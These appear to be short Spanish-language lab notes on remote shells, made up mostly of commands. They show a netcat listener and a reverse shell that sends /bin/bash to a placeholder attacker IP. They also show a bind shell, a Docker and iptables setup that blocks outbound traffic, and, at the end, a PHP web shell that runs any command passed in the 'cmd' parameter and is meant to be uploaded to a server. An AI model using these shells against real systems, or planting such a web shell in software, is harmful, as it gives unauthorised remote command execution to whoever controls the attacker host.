Comando:
nc -nlvp <PUERTO>
n: No aplica resolución DNS.l: Activa modo escucha.v: Modo verbose para ver la conexión.p: Especifica el puerto de escucha.Instalar Netcat si no está disponible:
apt install netcat
Comando para establecer la conexión:
Esto abrirá el servicio de /bin/bash hacia la máquina atacante, permitiéndole ejecutar comandos en la víctima.
```bash
netcat -e /bin/bash <IP_ATACANTE> <PUERTO>
```
Comando para ofrecer el servicio de bash:
nc -nlvp <PUERTO> -e /bin/bash
Conexión directa al servicio expuesto:
nc <IP_VÍCTIMA> <PUERTO>
Configurar Contenedor Docker:
docker run -dit -p 80:80 --cap-add=NET_ADMIN --name contenedor my_image
Configurar IPTables en la Máquina Víctima:
iptables -A OUTPUT -p tcp -m tcp -o eth0 --sport 80 -j ACCEPT # Aceptar salidas por el puerto 80
iptables -A OUTPUT -o eth0 -j DROP # Denegar el resto de salidas
Modificar el archivo PHP:
Cambiar:
```bash
nano /etc/php/8.3/apache2/php.ini
```
```
short_open_tag = ON
```
Reiniciar Apache:
service apache2 restart
Enviar un archivo PHP al servidor:
<?php
echo "<pre>" . shell_exec($_GET['cmd']) . "</pre>";
?>